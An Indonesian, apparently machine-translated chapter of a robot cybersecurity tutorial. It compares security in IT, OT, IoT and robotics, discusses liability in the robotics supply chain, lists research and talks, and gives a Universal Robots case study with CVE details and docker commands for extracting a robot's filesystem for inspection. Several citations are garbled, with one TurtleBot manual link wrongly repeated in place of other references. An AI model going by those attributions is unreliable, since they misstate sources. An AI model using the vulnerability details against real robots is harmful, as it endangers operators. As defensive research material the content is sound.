robotika : Robot adalah suatu sistem dari berbagai sistem. Sistem yang terdiri dari sensor untuk mengamati lingkungannya, aktuator untuk bertindak terhadapnya, dan komputasi untuk memproses semuanya dan merespons secara koheren terhadap penerapannya (bisa untuk industri, profesional, dll.). Robotika adalah seni integrasi sistem. Seni yang bertujuan untuk membangun mesin yang beroperasi secara otonom.
Robotika adalah seni integrasi sistem. Robot adalah sistem dari sistem, perangkat yang beroperasi secara otonom.
Penting untuk digarisbawahi bahwa semua definisi sebelumnya merujuk pada teknologi. Beberapa bersifat spesifik domain (misalnya OT) sementara yang lain tidak bergantung pada domain (misalnya robotika), tetapi masing-masing merupakan sarana yang melayani pengguna untuk tujuan tertentu .
Membandingkan keamanan di antara teknologi-teknologi ini
Sekali lagi, IT, OT, ICS, IoT, IIoT, dan robotika semuanya adalah teknologi. Dengan demikian, masing-masing teknologi ini dapat dioperasikan dengan aman, yaitu bebas dari bahaya atau ancaman. Untuk masing-masing teknologi ini, meskipun mungkin berbeda satu sama lain, orang mungkin bertanya-tanya, bagaimana cara menerapkan keamanan?
Mari kita lihat apa yang dikatakan literatur tentang perbandingan keamanan beberapa hal ini:
DariManual elektronik resmi TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/
:
Awalnya, ICS tidak banyak mirip dengan sistem TI karena ICS merupakan sistem terisolasi yang menjalankan protokol kontrol milik sendiri menggunakan perangkat keras dan perangkat lunak khusus. Perangkat Ethernet dan Protokol Internet (IP) yang tersedia secara luas dan berbiaya rendah kini menggantikan teknologi milik sendiri yang lama, yang meningkatkan kemungkinan kerentanan dan insiden keamanan siber. Karena ICS mengadopsi solusi TI untuk meningkatkan konektivitas perusahaan dan kemampuan akses jarak jauh, dan dirancang serta diimplementasikan menggunakan komputer, sistem operasi (OS), dan protokol jaringan standar industri, maka ICS mulai menyerupai sistem TI. Integrasi ini mendukung kemampuan TI baru, tetapi memberikan isolasi yang jauh lebih sedikit bagi ICS dari dunia luar dibandingkan sistem pendahulunya, sehingga menciptakan kebutuhan yang lebih besar untuk mengamankan sistem ini. Meskipun solusi keamanan telah dirancang untuk menangani masalah keamanan ini dalam sistem TI yang umum, tindakan pencegahan khusus harus diambil saat memperkenalkan solusi yang sama ini ke lingkungan ICS. Dalam beberapa kasus, diperlukan solusi keamanan baru yang disesuaikan dengan lingkungan ICS.
Sementara Stouffer dkk.Manual elektronik resmi TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/
fokus pada perbandingan ICS dan IT, alasan serupa dapat dengan mudah diterapkan pada OT (sebagai superset dari ICS).
Bagi sebagian orang, fenomena yang dimaksud IoTsebagian besar adalah tentang penggabungan fisik dari banyak komponen tradisional OTdan tradisional IT. Ada banyak perbandingan dalam literatur (misalnyaAtlam, Hany & Alenezi, Ahmed & Alshdadi, Abdulrahman & Walters, Robert & Wills, Gary. (2017). Integrasi Komputasi Awan dengan Internet of Things: Tantangan dan Isu Terbuka. 10.1109/iThings-GreenCom-CPSCom-SmartData.2017.105.
yang menarik yang juga menyentuh sistem cloud, yang tidak akan saya bahas sekarang) tetapi sebagian besar tampaknya setuju bahwa sementara IoT bertujuan untuk menggabungkan keduanya ITdan OT, keamanan IoTteknologi memerlukan keahlian yang berbeda. Dengan kata lain, keamanan IoTharus diperlakukan secara independen terhadap salah satu ITatau OT. Mari kita lihat beberapa representasi:
Perbandingan dengan IoT sebagai superset
Perbandingan dengan IoT sebagai superset
Perbandingan dengan IoT sebagai persimpangan
Perbandingan dengan IoT sebagai persimpangan
Lalu bagaimana dengan robotika? Bagaimana keamanan dalam robotika dibandingkan dengan keamanan dalam IoTatau IT? Dapat dikatakan, sistem robotika jauh lebih rumit daripada sistem yang sesuai dalam IT, OTatau bahkan IoTpengaturan. Bukankah keamanan juga harus diperlakukan secara berbeda? Saya sangat yakin demikian dan meskipun banyak yang dapat dipelajari dari teknologi lain, robotika layak mendapatkan perlakuan keamanannya sendiri. Terutama karena saya sangat yakin bahwa:
Keamanan siber dalam robotika akan menjadi lebih penting daripada teknologi lainnya karena implikasi keselamatannya, termasuk TI, OT, atau bahkan IoT.
Tentu saja, saya seorang ahli robotika, jadi perkirakan ada bias yang cukup besar pada klaim ini. Namun, izinkan saya untuk berdebat lebih jauh tentang hal ini. Tabel berikut terinspirasi oleh pemrosesan dan perluasanManual elektronik resmi TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/
DanBagian khusus ROS 2 dalam e-manual TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/ros2/
untuk robotika sambil memasukkan karya-karya lain sepertiAtlam, Hany & Alenezi, Ahmed & Alshdadi, Abdulrahman & Walters, Robert & Wills, Gary. (2017). Integrasi Komputasi Awan dengan Internet of Things: Tantangan dan Isu Terbuka. 10.1109/iThings-GreenCom-CPSCom-SmartData.2017.105.
, antara lain:
Topik keamanan DIA OT (ICS) Saya(saya)oT Robotika
Anti Virus banyak digunakan, mudah diperbarui solusi deteksi dan pencegahan jaringan yang rumit dan seringkali tidak mungkin dilakukan, sebagian besar Mirip rumitnya, banyak fragmentasi teknologi (RTOS yang berbeda, kerangka kerja tertanam dan paradigma komunikasi), solusi deteksi dan pencegahan jaringan ada rumit dan kompleks karena sifat teknologinya, sangat sedikit solusi yang ada (misalnya RIS ), pemantauan dan pencegahan jaringan tidak cukup karena implikasi keselamatan
Siklus hidup 3-5 tahun 10-20 tahun 5-10 tahun 10+ tahun
Kesadaran Baik Miskin Miskin Tidak ada
Manajemen patch Sering Langka, memerlukan persetujuan dari produsen tanaman Jarang, seringkali memerlukan izin (dan/atau tindakan) dari pengguna akhir Sangat jarang, implikasi produksi, pengaturan yang rumit
Manajemen Perubahan Reguler dan terjadwal Langka Langka Sangat jarang, seringkali teknisi yang terspesialisasi
Evaluasi file log Praktik yang mapan Praktik yang tidak biasa Praktik yang tidak biasa Praktik yang tidak mapan
Ketergantungan waktu Penundaan Diterima Kritis Beberapa penundaan diterima (tergantung domain aplikasi, misalnya IIoT mungkin lebih sensitif) Komunikasi kritis antar dan intra robot
Tersedianya Tidak selalu tersedia, kegagalan diterima 24 jam 7 hari seminggu Beberapa kegagalan diterima (sekali lagi, spesifik domain) Tersedia 24*7
Integritas Kegagalan diterima Kritis Beberapa kegagalan diterima (sekali lagi, spesifik domain) Kritis
Kerahasiaan Kritis Relevan Penting Penting
Keamanan Tidak relevan (tidak berlaku secara umum) Relevan Tidak relevan (meskipun tergantung pada domain aplikasi, tetapi sistem IoT tidak dikenal karena masalah keamanannya) Sistem kritis dan otonom dapat dengan mudah membahayakan keselamatan jika tidak beroperasi sebagaimana mestinya
Tes keamanan Tersebar luas Langka dan bermasalah (keterbatasan infrastruktur, dll.) Langka Sebagian besar tidak hadir ( layanan pertama semacam ini untuk robotika mulai muncul)
Lingkungan pengujian Tersedia Jarang tersedia Jarang tersedia Langka dan sulit untuk direproduksi
Persyaratan determinisme (lihatGutiérrez, CSV, Juan, LUS, Ugarte, IZ, & Vilches, VM (2018). Menuju kerangka kerja terdistribusi dan waktu nyata untuk robot: Evaluasi komunikasi ROS 2.0 untuk aplikasi robot waktu nyata. arXiv preprint arXiv:1809.02595.
untuk definisi) Non-real-time. Respons harus konsisten. Throughput tinggi dibutuhkan. Penundaan dan jitter yang tinggi mungkin dapat diterima. Interaksi darurat yang kurang kritis. Kontrol akses yang dibatasi secara ketat dapat diterapkan pada tingkat yang diperlukan untuk keamanan Waktu nyata yang sulit. Respons sangat penting. Throughput yang sedang dapat diterima. Penundaan dan/atau jitter yang tinggi tidak dapat diterima. Respons terhadap interaksi manusia dan keadaan darurat lainnya sangat penting. Akses ke ICS harus dikontrol secara ketat, tetapi tidak boleh menghambat atau mengganggu interaksi manusia-mesin. Seringkali non-real-time, meskipun beberapa lingkungan akan memerlukan soft atau firm real-time Persyaratan waktu nyata yang ketat untuk aplikasi kritis keselamatan dan persyaratan waktu nyata yang tegas/lunak untuk tugas-tugas lainnya
Dengan melihat tabel ini dan membandingkan berbagai teknologi, tampaknya masuk akal untuk mengakui bahwa robotika menerima beberapa pembatasan terberat dalam hal berbagai properti keamanan, tentu saja, jauh lebih banyak daripada IoT atau TI.
Namun, mengapa produsen robotik hanya fokus pada ITkeamanan?
MiR tentang keamanan TI
MiR tentang keamanan TI
MiR tentang cara meningkatkan keamanan TI
MiR tentang cara meningkatkan keamanan TI
Memahami rantai pasokan robotika
Ketidakamanan dalam robotika tidak hanya terjadi pada robot itu sendiri, tetapi juga pada seluruh rantai pasokan. Pertumbuhan dan popularitas robot kolaboratif yang luar biasa selama beberapa tahun terakhir telah menimbulkan kelemahan dalam rantai pasokan yang sudah rumit, yang menghambat penyediaan solusi robotika yang aman dan terjamin.
Secara tradisional, Manufacturer, Distributordan System Integratorpemangku kepentingan semuanya menjadi satu entitas tunggal yang melayani End userssecara langsung. Hal ini terjadi pada beberapa produsen robot terbesar dan tertua termasuk ABB atau KUKA, dan lain-lain.
Yang terbaru, dan khususnya dengan munculnya robot kolaboratifManual elektronik resmi TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/
dan ketidakamanan merekaBagian khusus ROS 2 dalam e-manual TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/ros2/
, masing-masing pemangku kepentingan ini bertindak secara independen, sering kali dengan garis yang kabur antara Distributordan Integrator. Hal ini menimbulkan kompleksitas tambahan dalam hal menanggapi End Usertuntutan, atau menyelesaikan konflik hukum.
Perusahaan seperti Universal Robots (UR) atau Mobile Industrial Robots (MiR) paling mewakili fragmentasi rantai pasokan ini. Ketika dianalisis dari sudut keamanan siber, orang bertanya-tanya: pendekatan mana yang lebih responsif dan bertanggung jawab saat menerapkan mitigasi keamanan? Apakah fragmentasi mempersulit reaksi responsif terhadap ancaman siber? Apakah ManufacturersUniversal Robots mendorong tanggung jawab dan kewajiban kepada mereka Distributorsdan selanjutnya Integratorsdengan memecah rantai pasokan? Apa implikasi hukum yang tepat dari fragmentasi tersebut?
Para pemangku kepentingan rantai pasokan robotika
Beberapa pemangku kepentingan dari rantai pasokan robotika baru dan lama ditangkap dan didefinisikan dalam gambar di bawah ini:
Para pemangku kepentingan rantai pasokan robotika
Para pemangku kepentingan rantai pasokan robotika
Tidak banyak yang perlu ditambahkan. Diagram di atas masih jauh dari kata lengkap. Memang ada lebih banyak pemain, tetapi beberapa pemain ini memungkinkan kita untuk memahami masalah yang ada saat ini dalam rantai pasokan robotika.
Rantai pasokan 'baru' dalam robotika
Ini sebenarnya bukan hal baru . Rantai pasokan (dan strategi GTM) yang disajikan oleh vendor seperti UR atau MiR (keduanya dimiliki oleh Teradyne) sebenarnya terinspirasi oleh banyak vendor lain, di berbagai industri, namun, popularitasnya telah meningkat selama beberapa tahun terakhir dalam bidang robotika. Bahkan, orang dapat berargumen bahwa popularitas robot kolaboratif terkait dengan perubahan dalam rantai pasokan ini , di mana banyak pemangku kepentingan berkontribusi terhadap penyebaran teknologi baru ini.
Rantai pasokan ini digambarkan di bawah ini, yang menangkap serangkaian interaksi terkait keamanan:
Kewajiban dan tanggung jawab dalam rantai pasokan robotika
Kewajiban dan tanggung jawab dalam rantai pasokan robotika
Diagram ini menyajikan beberapa subkasus, yang masing-masing membahas skenario yang mungkin terjadi saat robot menghadirkan kelemahan keamanan siber. Di luar interaksi, yang menonjol adalah lebih dari 20 pertanyaan hukum terkait kewajiban dan tanggung jawab yang muncul. Menurut saya, hal ini mencerminkan dengan jelas kompleksitas rantai pasokan robotika saat ini, dan banyaknya kompromi yang perlu diambil saat melayani, mendistribusikan, mengintegrasikan, atau mengoperasikan robot.
Yang lebih menakutkan adalah sebagian besar pemangku kepentingan yang terlibat dalam rantai pasokan yang berinteraksi dengan sayamengabaikan tanggung jawab mereka(alasannya berbeda-beda, dari apa yang saya lihat). Sudut pandang keamanan di sini sangat penting. Mitigasi keamanan perlu diterapkan hingga ke produk pengguna akhir, jika tidak, akan menimbulkan bahaya.
Meskipun saya bukan seorang pengacara, diskusi saya dengan para pengacara mengenai topik ini membuat saya yakin bahwa tidak ada kerangka hukum dan/atau jawaban yang jelas di Eropa untuk sebagian besar pertanyaan ini. Selain itu, kurangnya kesadaran keamanan dari banyak pemangku kepentingan yang terlibatMayoral-Vilches, V. Universal Robots cobots tidak aman . Keamanan Siber dan Robotika.
tidak hanya mengorbankan perantara (misalnya Distributors dan System Integrators), tetapi pada akhirnya juga mengekspos pengguna akhir terhadap risiko.
Secara keseluruhan, saya sangat yakin rantai pasokan 'baru' ini dan kurangnya kesadaran keamanan serta reaksi yang jelas mengarah pada rantai pasokan yang terganggu dalam robotika. Berikut ini saya cantumkan beberapa pertanyaan terkait keamanan siber yang paling relevan (lihat diagram di atas untuk semuanya) yang diajukan saat menyusun penalaran rantai pasokan pada gambar di atas:
Siapa yang bertanggung jawab (dalam rantai pasokan) dan apa saja kewajibannya jika akibat dari serangan siber terjadi kerugian manusia akibat kelemahan yang sebelumnya tidak diketahui (atau dilaporkan) pada teknologi produsen tertentu?Perhatikan pertanyaan ini mencakup keduanya, 0-hari dan kelemahan yang diketahui yang belum dilaporkan sebelumnya.
Siapa yang bertanggung jawab (di seluruh rantai pasokan) dan apa saja kewajibannya jika akibat dari serangan siber terjadi kerugian manusia karena kelemahan yang diketahui dan diungkapkan tetapi belum diatasi pada teknologi produsen tertentu?
Siapa yang bertanggung jawab (dalam rantai pasokan) dan apa saja kewajibannya jika akibat dari serangan siber terjadi kerugian manusia karena kelemahan yang diketahui, diungkapkan dan diatasi, namun belum ditambal?
Apa yang terjadi jika kerusakannya bersifat lingkungan?
Dan jika tidak ada kerugian? Apakah ada tanggung jawab atas kurangnya perilaku bertanggung jawab dalam rantai pasokan?
Bagaimana dengan para peneliti? Apakah mereka diizinkan untuk secara bebas memberi insentif pada kesadaran keamanan dengan mengungkapkan hasil mereka secara etis? (yang Anda harapkan ketika seseorang menemukan sesuatu)
Dapatkah peneliti mengumpulkan bukti ketidakamanan untuk menunjukkan perilaku tidak bertanggung jawab tanpa kewajiban?
Jadi, mana yang lebih baik, fragmentasi atau ketiadaan fragmentasi?
Saya melihat pertumbuhan besar melalui fragmentasi namun, tetap saja, menganggap bahwa perusahaan robotika terbesar dan tersukses di luar sana cenderung mengintegrasikan semuanya.
Yang jelas bagi saya adalah bahwa fragmentasi rantai pasokan (atau rantai pasokan 'baru') menghadirkan tantangan yang jelas bagi keamanan siber. Mempertahankan keamanan dalam skenario yang terfragmentasi lebih menantang, memerlukan lebih banyak sumber daya dan serangkaian tindakan yang terkoordinasi dengan baik dan sering kali terdistribusi (yang tentu saja lebih sulit).
fragmentasi rantai pasokan (atau rantai pasokan 'baru') menghadirkan tantangan yang jelas dari perspektif keamanan.
Berinvestasi dalam keamanan siber robot dengan membangun tim keamanan Anda sendiri atau mengandalkan dukungan eksternal adalah suatu keharusan.
Bacaan yang direkomendasikan
Judul Keterangan
Memperkenalkan Kerangka Keamanan Robot (RSF) ( Vı́ctor Mayoral-Vilches, Kirschgens, Calvo, dkk. 2018 ) Sebuah metodologi untuk melakukan penilaian keamanan sistematis pada robot yang mengusulkan pendekatan seperti daftar periksa yang meninjau aspek paling relevan dalam robot
Bahaya robot: dari keselamatan hingga keamanan ( Alzola-Kirschgens et al. 2018 ) Pembahasan mengenai status ketidakamanan terkini dalam robotika dan hubungan antara keselamatan dan keamanan, diabaikan oleh sebagian besar vendor
Sistem Penilaian Kerentanan Robot (RVSS) ( Vilches, Gil-Uriarte, dkk. 2018 ) Pengenalan mekanisme penilaian baru untuk menilai tingkat keparahan kerentanan dalam robotika yang dibangun berdasarkan pekerjaan sebelumnya dan mengkhususkannya untuk robotika
Robotics CTF (RCTF), taman bermain untuk peretasan robot ( Mendia et al. 2018 ) Lingkungan CTF berbasis Docker untuk robotika
Forensik memori volatil untuk Sistem Operasi Robot ( Vı́ctor Mayoral-Vilches, Kirschgens, Gil-Uriarte, dkk. 2018 ) Tinjauan umum teknik forensik dalam robotika dan diskusi tentang plugin Volatilitas khusus robotika bernama linux_rosnode, dikemas dalam ros_volatilityproyek dan bertujuan untuk mengekstrak bukti dari memori volatil robot
aztarna, alat pelacak jejak robot ( Vilches, Mendia, dkk. 2018 ) Alat untuk pengintaian robot dengan fokus khusus pada jejak kaki
Memperkenalkan database kerentanan robot (RVD) ( Vilches et al. 2019 ) Basis data untuk kerentanan dan bug terkait robot
Ransomware robot industri: Akerbeltz ( Vı́ctor Mayoral-Vilches, San Juan, dkk. 2019 ) Ransomware untuk robot kolaboratif industri
Keamanan Siber dalam Robotika: Tantangan, Pemodelan Kuantitatif, dan Praktik ( Zhu et al. 2021b ) Pengantar bidang keamanan siber robot yang menjelaskan tantangan terkini, pemodelan kuantitatif, dan praktik
DevSecOps dalam Robotika ( Vı́ctor Mayoral-Vilches, Garcı́a-Maestro, dkk. 2020 ) Seperangkat praktik terbaik yang dirancang untuk membantu ahli robotika menanamkan keamanan jauh di dalam inti proses pengembangan dan operasi mereka
aluritas, kotak peralatan untuk keamanan siber robot ( Vı́ctor Mayoral-Vilches, Abad-Fernández, dkk. 2020 ) Alurity adalah perangkat modular dan dapat disusun untuk keamanan siber robot. Perangkat ini memastikan bahwa baik ahli robotika maupun peneliti keamanan yang mengerjakan suatu proyek, memiliki lingkungan pengembangan yang umum, konsisten, dan mudah direproduksi yang memfasilitasi proses keamanan dan kolaborasi antar tim.
Dapatkah ROS digunakan secara aman dalam industri? Red teaming ROS-Industrial ( Vı́ctor Mayoral-Vilches, Pinzger, dkk. 2020 ) Tim merah ROS dalam lingkungan industri mencoba menjawab pertanyaan: Dapatkah ROS digunakan dengan aman untuk kasus penggunaan industri meskipun asal-usulnya tidak mempertimbangkannya?
Peretasan yang direncanakan untuk menghilangkan keusangan dalam robotika, menuju pembongkaran robot yang berorientasi pada keamanan ( Victor Mayoral-Vilches et al. 2021 ) Saat robot mengalami kerusakan atau keamanannya terganggu, komponennya akan semakin memerlukan pembaruan dan penggantian. Bertentangan dengan harapan, sebagian besar produsen menggunakan praktik keusangan terencana dan mencegah perbaikan untuk menghindari persaingan. Kami memperkenalkan dan menganjurkan pembongkaran robot sebagai pendekatan untuk mempelajari arsitektur perangkat keras robot dan mendorong penelitian keamanan. Kami menunjukkan bagaimana pendekatan kami membantu mengungkap kerentanan keamanan, dan memberikan bukti praktik keusangan terencana.
Pembicaraan yang direkomendasikan
Tahun 2016
Mengamankan ROS melalui kabel, dalam grafik, dan melalui kernel , ROSCon 2016
Tahun 2017
Peretasan Robot Sebelum Skynet , Konferensi Keamanan Ekoparty 2017
Analisis Keamanan Eksperimental pada Pengendali Robot Industri , Simposium Keamanan dan Privasi IEEE 2017
SROS: Kemajuan dan Perkembangan Saat Ini , ROSCon 2017
Melanggar Hukum Robotika: Menyerang Robot Industri , Black Hat USA 2017
Tahun 2018
Memperkenalkan Kerangka Keamanan Robot (bahasa Spanyol), Konferensi Navaja Negra 2018
Pustaka Keamanan Arm DDS: Menambahkan keamanan yang aman ke ROS2 , ROSCon 2018
Memanfaatkan Keamanan DDS di ROS 2 , ROSCon 2018
Tahun 2019
Keamanan robot defensif dan ofensif , Konferensi Industri ROS 2019
Perekam Blok Hitam: Pencatatan Kotak Hitam yang Tidak Dapat Diubah melalui rosbag2 dan DLT , ROSCon 2019
Pelajaran yang didapat tentang keamanan dan waktu nyata ( slide ), Lokakarya Waktu Nyata ROS 2, ROSCon 2019
Tahun 2020
Ancaman keamanan terkini dalam bidang robotika , Forum Robotika Eropa (ERF) 2020
Keamanan dalam ROS & pengaturan robot ROS 2 , Forum Robotika Eropa (ERF) 2020
Akerbeltz, ransomware robot industri , Lokakarya Internasional tentang Rekayasa Sistem Perangkat Lunak Robot Tangguh, Konferensi Internasional tentang Komputasi Robot (IRC 2020).
Arsitektur Zero Trust dalam Robotika , Lokakarya Keamanan dan Privasi dalam Robotika, ICRA 2020
Status keamanan siber PX4 , PX4 Developer Summit Virtual 2020
Mendeteksi Pola Kode Tidak Aman dalam Program Robot Industri , Prosiding Konferensi Keamanan Komputer dan Komunikasi ACM Asia ke-15 tahun 2020
Melindungi titik akhir robot dari ancaman dunia maya , Konferensi Industri ROS 2020
Robot dan Privasi , Shmoocon 2020
Tahun 2021
Mengungkap Praktik Keusangan Terencana dalam Robotika dan Apa Artinya bagi Keamanan Siber , BlackHat USA 2021
Protokol Layanan Distribusi Data (DDS) Sangat Penting: Mari Gunakan dengan Aman! , BlackHat Europe 2021
Memecah asumsi keamanan ROS 2: Menargetkan 6 implementasi DDS teratas , Konferensi Industri ROS 2021
DDS dan Keamanan Siber ROS 2 , Kelompok Kerja Keamanan ROS 2
Tahun 2022
Penyelaman Mendalam Protokol DDS ( akan muncul ), Konferensi Keamanan S4x22
Studi kasus
Robot Universal UR3
Lengan kolaboratif seri Universal Robots UR3 CB
Lengan kolaboratif seri Universal Robots UR3 CB
Universal Robots , divisi Teradyne sejak 2015, secara sadar mengabaikan keamanan siber pada sepersepuluh ribu robot yang terjual.
Pada tahun 2017, IOActive, sebuah perusahaan terkemuka dunia dalam layanan keamanan siber membuka laporanCerrudo, C., & Apa, L. (2017). Peretasan robot sebelum Skynet. Situs web IOActive, 1-17.
di mana di antaranya, dijelaskan beberapa kelemahan yang ditemukan dalam robot kolaboratif Universal Robots. Ini termasuk: RVD#6: UR3, UR5, UR10 Stack-based buffer overflow , RVD#15: Transportasi tidak aman dalam komunikasi antar-robot Universal Robots , RVD#34: Universal Robots Controller mendukung mouse/keyboard nirkabel pada antarmuka USB mereka , RVD#672: CB3.1 3.4.5-100 kredensial publik hard-coded untuk kontroler , RVD#673: CB3.1 3.4.5-100 mendengarkan dan mengeksekusi kode URScript yang sembarangan .
Pada akhir tahun 2019, saya kembali terlibat dalam pekerjaan ini dan mulai meneliti seberapa tidak amannya robot-robot populer ini. Hingga tahun 2021, kelemahan ini masih menjadi masalah yang memengaruhi sebagian besar robot dari Universal Robots. Berikut ini beberapa temuan baru yang dihasilkan dari penelitian saya:
ID CVE Keterangan Cakupan CVSS Catatan
CVE-2020-10264 Antarmuka RTDE memungkinkan pembacaan data robot yang tidak diautentikasi dan penulisan register dan output yang tidak diautentikasi Seri CB 3.1 UR3, UR5, UR10, seri e UR3e, UR5e, UR10e, UR16e 9.8 CB 3.1 SW Versi 3.3 dan lebih tinggi, SW seri e versi 5.0 dan lebih tinggi
CVE-2020-10265 Server dasbor UR memungkinkan kontrol jarak jauh tanpa autentikasi terhadap fungsi inti robot Seri CB 2 dan 3.1 UR3, UR5, UR10, seri e UR3e, UR5e, UR10e, UR16e 9.4 Versi CB2 SW Versi 1.4 ke atas, CB3 SW Versi 3.0 ke atas, e-series SW Versi 5.0 ke atas
CVE-2020-10266 Tidak ada pemeriksaan integritas pada artefak platform UR+ saat dipasang di robot Seri CB 3.1 UR3, UR5, UR10 8.8 Seri CB 3.1 FW versi 3.3 hingga 3.12.1. Mungkin memengaruhi robot lama dan baru (seri e)
CVE-2020-10267 Kekayaan intelektual yang tidak dilindungi di pengontrol Universal Robots CB 3.1 di seluruh versi firmware Seri CB 3.1 UR3, UR5 dan UR10 7.5 diuji pada 3.13.0, 3.12.1, 3.12, 3.11 dan 3.10.0
CVE-2020-10290 Universal Robots URCaps dijalankan dengan hak istimewa yang tidak terbatas Seri CB 3.1 UR3, UR5 dan UR10 6.8
Berikut ini adalah beberapa contoh tambahan kelemahan yang teridentifikasi dalam teknologi yang digunakan pada robot tersebut, dan telah dilaporkan sebelumnya oleh pihak lain:
PENGENAL Keterangan
Nomor RVD1406 Akses konsol shell felix UR tanpa kredensial pada port 6666 (default)
Nomor RVD1409 Server X.Org (sebelum 1.19.4), mengganti segmen memori bersama klien X lainnya dalam sesi yang sama
Nomor RVD1410 OpenSSH DoS jarak jauh di Universal Robots CB3.x
Konteks
Menganalisis kesuksesan komersial Universal Robots
Beberapa artikel membahas dan membahas keberhasilan komersial Universal Robots. Sering dibandingkan dengan Rethink Robotics, Universal Robots (UR) secara umum diakui mampu membaca pasar dengan lebih baik dan berfokus pada penyelesaian masalah dengan cara yang lebih pragmatis, berfokus pada penyediaan kemampuan keselamatan yang dibutuhkan, dan tidak lebih. Carol LawrenceCarol Lawrence. Bangkit dan Runtuhnya Rethink Robotics (2019). https://www.asme.org/topics-resources/content/rise-fall-of-rethink-robotics
menunjukkan hal berikut:
Universal berhasil karena robotnya akurat dan dapat diulang, namun cukup aman untuk bekerja di dekat manusia.
Siapa pun yang pernah mengoperasikan robot ini mungkin akan setuju bahwa hal itu kedengarannya benar. Alih-alih menginvestasikan sumber daya tambahan pada perspektif penilaian risiko (yang menurut saya dari artikel ini dilakukan oleh Rethink Robotics, setidaknya lebih baik?), mempertimbangkan standar keselamatan (menggunakan norma yang sudah ada sebelumnya untuk keselamatan mesin dan keamanan) dan berfokus pada kolaborasi manusia (seperti yang mereka janjikan), Universal Robots berfokus pada lobi untuk meraih kesuksesan pasar. Semuanya tentang pasar dan pemasaran.
Jika diperhatikan dengan seksama, dia akan menyadari bahwa Universal Robots sebenarnya berada di balik kendali ISO 10218-1 dan ISO 10218-2. Meninjau norma-norma ini akan membuat seorang ahli robotika menjerit dalam beberapa hal. Norma-norma ini dalam banyak hal terlalu disesuaikan dengan vendor. Disesuaikan untuk lobi. Dan kemungkinan besar inilah alasan mengapa ISO 10218-1/2 tidak menyebar sebanyak yang diharapkan. Beberapa negara bahkan mengabaikan ISO 10218-1, dan industri mereka tidak dipaksa untuk mematuhinya.
Yang lebih penting, robot adalah perangkat yang terhubung. Jika seseorang membandingkan robot dengan perangkat IoT, ia akan segera menyadari bahwa perbandingan tersebut tidak masuk akal dan akan lebih akurat untuk menghubungkan robot dengan jaringan IoT (selain aktuasi, yang jarang ada di IoT). Robot dapat beroperasi secara terpisah, memang benar, tetapi sejujurnya, untuk sebagian besar aplikasi yang memerlukan penginderaan tambahan (sebagian besar yang menuntut kemampuan beradaptasi), robot menerima instruksi kontrol dan koordinasi eksternal dari stasiun kontrol.
Perilaku kolaboratif yang diberikan Universal Robots tidak hanya cacat dari perspektif desain keselamatan tetapi juga dari perspektif fungsionalitas robotika. Sistem-sistem ini pada akhirnya akan saling terhubung. Kita harus peduli dengan hal ini.
Namun, tampaknya hal itu masih berlaku bagi klien. Terutama karena Universal Robots adalah open. Bukan dalam perangkat lunak, tetapi dalam arsitekturnyaCarol Lawrence. Bangkit dan Runtuhnya Rethink Robotics (2019). https://www.asme.org/topics-resources/content/rise-fall-of-rethink-robotics
:
Model bisnis Universal berbeda dengan Rethink. Alih-alih menyediakan sistem terpadu, perusahaan ini hanya menjual lengan robot dan menggunakan arsitektur terbuka yang memudahkan penambahan sensor, kamera, gripper, dan aksesori pihak ketiga. Hal ini memungkinkan pengguna dan integrator untuk menyesuaikan robot untuk tugas tertentu.
Keterbukaan adalah model yang bagus untuk inovasi. Saya menghabiskan waktu bertahun-tahun bekerja sebagai kontributor sumber terbuka, pertama di bidang perangkat lunak dan perangkat keras, kemudian di bidang robotika. Saya mendanai sebagian dari studi awal saya (seperti yang pasti dilakukan banyak orang) dengan menikmati musim panas belajar kode yang didanai oleh Google sambil bekerja di berbagai organisasi. Selain itu, saat berkembang sebagai ahli robotika, saya magang di beberapa tempat "terbuka". Keterbukaan juga bagus (namun menantang) untuk bisnis, saya membuat dan menjual bisnis yang berkontribusi pada proyek sumber terbuka di bidang robotika. Pengalaman belajar yang hebat.
Keterbukaan itu hebat, tetapi keterbukaan dalam industri perlu a) didanai dan b) didukung dengan sikap bertanggung jawab dalam hal keamanan. Tanpa mempedulikan hal-hal ini, Anda hanya akan mengekspos kreasi Anda terhadap serangan pihak ketiga. Ketika kreasi tersebut dapat memengaruhi ribuan bisnis, Anda seharusnya mulai merasa khawatir.
Arsitektur terbuka yang tidak peduli dengan keamanan
Menyampaikan arsitektur terbuka tidak berarti Anda dapat mengabaikan keamanan. Keamanan dengan ketidakjelasan bukanlah keamanan, memang. Namun, Anda juga tidak boleh membukanya dan mengabaikannya jika sistem Anda akan digunakan dalam industri, oleh orang-orang. Ajakan itu tidak berhasil saat robot keluar dari lab dan terjun ke kasus penggunaan nyata. Universal Robots terkenal dengan klaim seperti:
Keamanan tergantung pada pengguna.
Pendekatan yang mengutamakan keamanan harus diadopsi. Pendekatan yang dimulai dari tahap desain hingga tahap pascaproduksi. Jika Anda tertarik dengan pengembangan dan arsitektur yang aman, lihat beberapa karya tentang DevSecOpsMayoral-Vilches, V., García-Maestro, N., Towers, M., & Gil-Uriarte, E. (2020). DevSecOps dalam Robotika. arXiv pracetak arXiv:2003.10402.
dalam robotika saya ikut menulis dan merilisnya belum lama ini.
Namun, bukti akhir datang dari fakta. Jadi, mari kita berikan beberapa bukti dengan memunculkan rootfs robot UR dalam kontainer Docker dan melakukan beberapa penyelidikan. Buka folder tutorial ini dan lakukan:
# 1. fetch the raw disk image inside of the container
docker build -t ur3_cb3.1_fetcher:3.9.1 .
# 2. create temporary directory
mkdir tmp
# 3. extract the compressed rootfs from the container
docker container run --rm --privileged -it -v ${PWD}/tmp:/outside ur3_cb3.1_fetcher:3.9.1
# 4. create container from the rootfs
docker import tmp/ur-fs.tar.gz ur3_cb3.1:3.9.1
# 5. cleanup
rm -r tmp
# 6. run the container
docker run -it ur3_cb3.1:3.9.1 /bin/bash
Sekarang mari kita lihat seberapa besar UR peduli terhadap keamanan:
docker run -it ur3_cb3.1:3.9.1 /bin/bash
dircolors: no SHELL environment variable, and no shell type option given
root@0ad90f762e89:/# ls
bin bsp-MS-98G6.md5sums dev home joint_firmware.md5sums lost+found mnt pc.md5sums programs run selinux srv tmp var
boot common.md5sums etc initrd.img lib media opt proc root sbin setup sys usr
root@0ad90f762e89:/#
root@0ad90f762e89:/# cat /etc/issue
Debian GNU/Linux 7 \n \l
